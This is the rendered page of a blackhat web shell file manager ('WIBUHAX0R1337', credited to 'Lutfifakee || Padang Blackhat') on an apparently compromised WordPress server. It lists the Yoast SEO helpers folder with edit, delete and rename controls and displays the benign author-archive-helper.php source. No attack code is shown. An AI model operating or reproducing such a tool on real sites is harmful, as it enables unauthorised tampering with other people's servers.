-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
public_html
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
helpers
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
open-graph
--
NONE
schema
--
NONE
twitter
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
asset-helper.php
2.52KB
Edit File
Delete File
Rename
author-archive-helper.php
3.448KB
Edit File
Delete File
Rename
blocks-helper.php
2.263KB
Edit File
Delete File
Rename
capability-helper.php
2.066KB
Edit File
Delete File
Rename
current-page-helper.php
11.897KB
Edit File
Delete File
Rename
date-helper.php
3.133KB
Edit File
Delete File
Rename
environment-helper.php
0.582KB
Edit File
Delete File
Rename
home-url-helper.php
0.752KB
Edit File
Delete File
Rename
image-helper.php
9.991KB
Edit File
Delete File
Rename
indexable-helper.php
4.595KB
Edit File
Delete File
Rename
indexable-to-postmeta-helper.php
5.364KB
Edit File
Delete File
Rename
indexing-helper.php
9.237KB
Edit File
Delete File
Rename
input-helper.php
0.646KB
Edit File
Delete File
Rename
language-helper.php
1.847KB
Edit File
Delete File
Rename
meta-helper.php
2.912KB
Edit File
Delete File
Rename
notification-helper.php
0.533KB
Edit File
Delete File
Rename
options-helper.php
3.143KB
Edit File
Delete File
Rename
pagination-helper.php
3.474KB
Edit File
Delete File
Rename
permalink-helper.php
1.256KB
Edit File
Delete File
Rename
post-helper.php
4.96KB
Edit File
Delete File
Rename
post-type-helper.php
3.438KB
Edit File
Delete File
Rename
primary-term-helper.php
1.366KB
Edit File
Delete File
Rename
product-helper.php
0.95KB
Edit File
Delete File
Rename
redirect-helper.php
1.424KB
Edit File
Delete File
Rename
request-helper.php
0.344KB
Edit File
Delete File
Rename
require-file-helper.php
0.298KB
Edit File
Delete File
Rename
robots-helper.php
0.514KB
Edit File
Delete File
Rename
sanitization-helper.php
1.031KB
Edit File
Delete File
Rename
short-link-helper.php
3.296KB
Edit File
Delete File
Rename
site-helper.php
0.553KB
Edit File
Delete File
Rename
string-helper.php
1.189KB
Edit File
Delete File
Rename
taxonomy-helper.php
3.036KB
Edit File
Delete File
Rename
url-helper.php
5.857KB
Edit File
Delete File
Rename
user-helper.php
3.675KB
Edit File
Delete File
Rename
wincher-helper.php
2.148KB
Edit File
Delete File
Rename
woocommerce-helper.php
0.858KB
Edit File
Delete File
Rename
wordpress-helper.php
0.5KB
Edit File
Delete File
Rename
wpdb-helper.php
0.924KB
Edit File
Delete File
Rename
<?php namespace Yoast\WP\SEO\Helpers; use Yoast\WP\Lib\Model; /** * A helper object for author archives. */ class Author_Archive_Helper { /** * Gets the array of post types that are shown on an author's archive. * * @return array The post types that are shown on an author's archive. */ public function get_author_archive_post_types() { /** * Filters the array of post types that are shown on an author's archive. * * @param array $args The post types that are shown on an author archive. */ return \apply_filters( 'wpseo_author_archive_post_types', [ 'post' ] ); } /** * Returns whether the author has at least one public post. * * @param int $author_id The author ID. * * @return bool|null Whether the author has at least one public post. */ public function author_has_public_posts( $author_id ) { // First check if the author has at least one public post. $has_public_post = $this->author_has_a_public_post( $author_id ); if ( $has_public_post ) { return true; } // Then check if the author has at least one post where the status is the same as the global setting. $has_public_post_depending_on_the_global_setting = $this->author_has_a_post_with_is_public_null( $author_id ); if ( $has_public_post_depending_on_the_global_setting ) { return null; } return false; } /** * Returns whether the author has at least one public post. * * @codeCoverageIgnore It looks for the first ID through the ORM and converts it to a boolean. * * @param int $author_id The author ID. * * @return bool Whether the author has at least one public post. */ protected function author_has_a_public_post( $author_id ) { $cache_key = 'author_has_a_public_post_' . $author_id; $indexable_exists = \wp_cache_get( $cache_key ); if ( $indexable_exists === false ) { $indexable_exists = Model::of_type( 'Indexable' ) ->select( 'id' ) ->where( 'object_type', 'post' ) ->where_in( 'object_sub_type', $this->get_author_archive_post_types() ) ->where( 'author_id', $author_id ) ->where( 'is_public', 1 ) ->find_one(); if ( $indexable_exists === false ) { // Cache no results to prevent full table scanning on authors with no public posts. \wp_cache_set( $cache_key, 0, '', \wp_rand( ( 2 * \HOUR_IN_SECONDS ), ( 4 * \HOUR_IN_SECONDS ) ) ); } } return (bool) $indexable_exists; } /** * Returns whether the author has at least one post with the is public null. * * @codeCoverageIgnore It looks for the first ID through the ORM and converts it to a boolean. * * @param int $author_id The author ID. * * @return bool Whether the author has at least one post with the is public null. */ protected function author_has_a_post_with_is_public_null( $author_id ) { $cache_key = 'author_has_a_post_with_is_public_null_' . $author_id; $indexable_exists = \wp_cache_get( $cache_key ); if ( $indexable_exists === false ) { $indexable_exists = Model::of_type( 'Indexable' ) ->select( 'id' ) ->where( 'object_type', 'post' ) ->where_in( 'object_sub_type', $this->get_author_archive_post_types() ) ->where( 'author_id', $author_id ) ->where_null( 'is_public' ) ->find_one(); if ( $indexable_exists === false ) { // Cache no results to prevent full table scanning on authors with no is public null posts. \wp_cache_set( $cache_key, 0, '', \wp_rand( ( 2 * \HOUR_IN_SECONDS ), ( 4 * \HOUR_IN_SECONDS ) ) ); } } return (bool) $indexable_exists; } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat